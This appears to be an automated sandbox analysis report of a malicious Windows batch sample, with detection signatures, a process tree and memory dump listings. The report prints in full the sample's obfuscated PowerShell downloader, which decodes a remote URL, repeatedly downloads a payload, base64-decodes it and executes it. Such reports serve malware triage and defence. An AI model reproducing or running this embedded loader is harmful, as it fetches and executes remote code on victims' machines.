Analysis
- max time kernel
147s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
15/06/2024, 01:09
General
- Target 69acba5561c375a92d1b6354e63334cbb2184d6ae64583a189202d892248cd8b.bat
- Size 6KB
- Sample240615-bht54atdpe
- SHA256 69acba5561c375a92d1b6354e63334cbb2184d6ae64583a189202d892248cd8b
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\69acba5561c375a92d1b6354e63334cbb2184d6ae64583a189202d892248cd8b.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Sprunget = 1;$Genkaldelsens='ring';Function Synclinorial($Nonprotractile){$Delhed=$Nonprotractile.Length-$Sprunget;$kvajpanderne='Subst'+$Genkaldelsens;For( $Stipular=5;$Stipular -lt $Delhed;$Stipular+=6){$Pentander+=$Nonprotractile.$kvajpanderne.Invoke( $Stipular, $Sprunget);}$Pentander;}function Alliancering($Synonymity){ .($Kltringstreg) ($Synonymity);}$Chaunting=Synclinorial 'De teM UudvoDiffuzCaulii ellelX,roplBuketaDiver/Epigr5 Fase.Total0Trime Forna(AndraWDesari awfn The.dK rtooTritowAntensSwe.p BareNBort,TB,nin A,ili1antif0Cou,t. Spir0Coako; Fril reelWGillii MassnImi,i6 Fuge4 Cise;Conso IllaxShort6 C rs4Spiri; klap UdspirDel rvAn so:Afnaz1Woolw2Venus1Ogcoc.Impla0 enti)U,fie TelefGTrusse Symfc B.rkkha.dboBotti/Nords2F.etc0Reinw1 Sand0Baade0Hie,o1koagu0Vadsk1prin. tarveFRegioiOdo.trBleepephylafturfioH,llixK.rke/Stamp1Sharp2U dec1Lo.de.Blom,0Pinka ';$Ma=Synclinorial 'blresUUn.arsThe ceFolkerFork -H,steA Gli,gAarb,e Te.tnT,raptNat.l ';$Winders=Synclinorial 'zips.h Afskt jenet FuglpUnaid:Krybb/Gonoc/Or,tl1Infic9O.tli4Omstr. B.aa5 nerv9Umbr . For,3Depre1Cont..Guazu1Safr 8 Ayuh7Ide.r/DinarCDecerr Vinda In,efiono,tHordo6,achy7 Da.g. p,ckcAurigsJaquevLagen ';$Karatens=Synclinorial 'Flyte>Unapp ';$Kltringstreg=Synclinorial 'blodsiCadaseT,rolxStyrk ';$Manuductive='Slvvrdiens';$quamoclit = Synclinorial 'WoodceMisgucS.mulhMoonwoexoco Outbr%OrdreaPleurpTe.ripDaftbdObliga,ampetBu,asaGynge%Brnet\merceEUngeox,relroSemeogspndee SystnExpeto estmuhor,isW rdmlVa,dlyBrems.sindsESporsbbrittuTrskr Colou&Velpl& fskr BanneeNic.rcKoldthJa.meoInd r Tam tSvage ';Alliancering (Synclinorial 'Parap$,ericgHookulBekraoFjortbGrafiavad klVagin:M.aleUSkr.pd IrensSugnikKjetii stunvsammenBial iDenumnSkedegBl as= Inde(Udue.c,lfadmConscd Alko Al.m/.iffucFor.b Sextu$Megabq LeviuBrndeaSkat mi,flaoHaandc,psnul QuitiTub.rtPet,i)reglu ');Alliancering (Synclinorial 'Udela$Carp,gSpgell ignaone sib SupeaIsothl.utur:Cent.AS,ltimBemrka.iblisCarvos ylleforbidiref =Erhve$ ErstWP,okuisiciln P aedUdlejeFiskerCha.cs ,adm..igsds LderpApolol u,cuiSwatttAppla(Nonv.$Flip,K Udvia DilarHi glaHoldet,ntuieLysognSammes E ec)Bandl ');$Winders=$Amassed[0];$Betrkkene= (Synclinorial 'Fr gh$ Euryg S,jplAf.stoRelikbIre.aaA.ighlObse :Tro tBLideleHetaetInteraLan.glTrunci GevanOptomgUnfu,sOmbygsMusqutBeleja ilvrn P ntd PartsMemorn Hyp,iSemian torrgBilleeAmatrr Kos.nArmoreEpitysUncar1Vandd8 Opti9Op.th= SoneNPodieeE,itrw bry-Inte,OIbe.hb ScorjSaltve Gel cMo.ogtDunca KalotS W,neyVanh,sBofl,tBaa,le KrepmLoran.HjreiNKontreTh.ontInval.MarryWCyanieInterb AntiCTrib,lReacciNonadeDo.innFasert');$Betrkkene+=$Udskivning[1];Alliancering ($Betrkkene);Alliancering (Synclinorial 'Soupf$Hubs BspildePictit kivea .ngll Po ti valnCorvegResfls Press RecotFaglia LongnIndskdCandlsKnoppnDu pmiBallenPockegD,stre ,ortr.punsnProbaeFarfos Le,n1 Dam 8Bgers9Stoma.BosquHTrab,eDonera besdPersoeNignyrBlippsVen,t[Soege$BasseM SughaUafmr]Under=Paris$ AlimCPapf h B,mbaVurdeuOverhnTromptB.akfiPeckan NglegS.ion ');$Plastfiberoptisk=Synclinorial ' Knap$SlutvB BerreScombtWi sia apsulEn,reiStem.nlan.egAkupus Unexs.icent.drenaBoksenSpi.odCa,casFancynAlmsmiFralgnTobakgFiltreBriber,aadenSverieAr,acs Garr1Knebl8 Jour9 Rens.H,witD TilpoGen,ewFredsnSacellttnino Sva,a TaaldAer,sFSels,i gal,l imekeSkldu(bo,be$ FiksW krtoig omenTill,dSy.teeDurinru.ders Opti,trske$fors.P San.i Mal.aInaquf,otatfArmigeFe tessti i)Poin ';$Piaffes=$Udskivning[0];Alliancering (Synclinorial 'Dreis$ J.legU,forlVirgio VirkbIso.aaSaughlFisk,:,ormoJ ,mude ForgnRe.revPersoiZeolidSki.hnLaryneTestarBuksesOpgav7bette4Rajid=Boo a(F.rieT,radsePolypsG,ngltUdfal-OrbicPEth,naNonm.tForsthGr.ff Chrom$Sh,adPCovariIngraaMa.khfbrugsfdifdaeEusebs Er,e) Mi,r ');while (!$Jenvidners74) {Alliancering (Synclinorial 'Taile$LoftegcrosslLac eoElectbPes.oaTllealAnmel:FljtiDShintyOpslag TrfotChambiImm,ggI divsTurbitBiodyeplims=Fre.l$Smoret,inkerUp,lauSubjeeKlage ') ;Alliancering $Plastfiberoptisk;Alliancering (Synclinorial 'GldenSZonelt ,tena Ef erTriuntSamot-LejdeSPaatal Inciesqueee valipReve, Tipp4 Opla ');Alliancering (Synclinorial 'Forvi$Tria g slovlMessioOpk sbSub aaRi del Diss:.anemJ PluteCactanPseudv nconiRefrad ProcnModoce HissrlistesCelle7 Acce4Dyrlg= ,ank( AntiTMasoceFa essFo.cet Tran- SulcP Fjora ,ecatMenoshDrift Dap $BilasPTrippi AudiaFiskefBocalfHospieSoddes Stol)Besti ') ;Alliancering (Synclinorial ' Magn$Le,pagDitlelStuttoKlemab ,nvoaElastl Gens:CatalM.anauaUnretlUn out Alg oBrndbbCyt.ti SurgoTerapsMumleec.ole=Antis$S,inag NauplTableo hjlpbBilleaVam olUncle:Sexl.O ScenpBloodtLap.da Precg sydaeMembrr SvineBetry+.unke+Apo a%Knaph$ resAru.lemU,motaUn,omsCommoscheckeKnoxvdSklme.AmblecchutnoAneuruCohopnSk.estColor ') ;$Winders=$Amassed[$Maltobiose];}$Melindas=307131;$Stemmatous=28392;Alliancering (Synclinorial ' jord$angwig .pnelFrigio Everb DextaRumkalUdr.v:RummaG AfrelLuntea D.ivdUndskiTillbiTampn asci=Pha,t FiskGUtilse OvertUd od-dag iCcasitoAdornnSad.itSp.oweSheltnGodmotLevuz Lager$spr,kPLaur i Traca grasfGra if F sceCurvisIso,h ');Alliancering (Synclinorial 'Svaj,$BachegAtloilMo.tioBjergbDiamiaDe,sel .ice: TungBEmbolaSpunknGlid,kArmeneSmovsnShack Photo=,ndes Djvel[AlvidSinseay Sh,rsAmtsstMorayeOmsaemTillo.DdbleCBi.deodre,hn TracvDandieUdkikrD multPaper] Cucu:Alpa :GainiFHyp orUnbouopatr,mParotBR,creaflamesChagaeungue6Ferru4SecreS .onmtTskt rRuineiTeedln TndegDe,la(Augef$ReshvGFuppelVaabeaB ontd Mis.iHusariP,rid)Burka ');Alliancering (Synclinorial 'T.urg$Penargap.tplYaruro Ade,bLackwa Rekol Pa.t:FolkeD,etteaB.issnmoldasSk,ttk.ilkbe UngrrCowitnUnamoeLnkla H kta=Vande Whimb[An,inSBaryty MaynsballetPreuseCompum Nyvo.Raci,Tvidere.ccepxKongetDuend.SmledE AfganFla.icTel.ro,ppaldStereiCo.runAandegL,dle]Sadbo:Motor: quatALnderSAmoraCS.yfoI,inuoIudfal. CiphG Rec,e pro t PariSHunkytHus,grJetmaiIsoamnKontrgEr.ve( Nume$ JuleBOp ulaScrimnplejekCan.ueRe,oun Ompo)Ovato ');Alliancering (Synclinorial 'Comm $SkolegPr.jelKurs oOphthbUnguiasammelSl kn: Dr,uFGlimmiRookesrgbomk PerceAarvasThun,tFlankiHove,m Vekte ReshrM hat=Extra$ A,owD Ud,taGenavnDochosRedifkEfflueAto.ar KamunSvi eeUncor.ClartsudtryuBoligbbu,dfsPerjutHi,torSitueiNuetsnUnd,rgRens,( In,e$NoncoMFin,reSoup,lUfat.iStnken RegndEndowaUncussUdlng,aug,u$GgebaSSek,ltHexoee,ngasmAchiemsoegsaReprotFlagroProduu fleksTattl)Peebe ');Alliancering $Fiskestimer;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Exogenously.Ebu && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_rthl2t1b.dkz.ps1
memory/2652-2-0x00007FF894C93000-0x00007FF894C95000-memory.dmp
memory/2652-3-0x00000147B08E0000-0x00000147B0902000-memory.dmp
memory/2652-13-0x00007FF894C90000-0x00007FF895751000-memory.dmp
memory/2652-14-0x00007FF894C90000-0x00007FF895751000-memory.dmp
memory/2652-15-0x00007FF894C90000-0x00007FF895751000-memory.dmp
memory/2652-16-0x00007FF894C90000-0x00007FF895751000-memory.dmp
memory/2652-17-0x00007FF894C90000-0x00007FF895751000-memory.dmp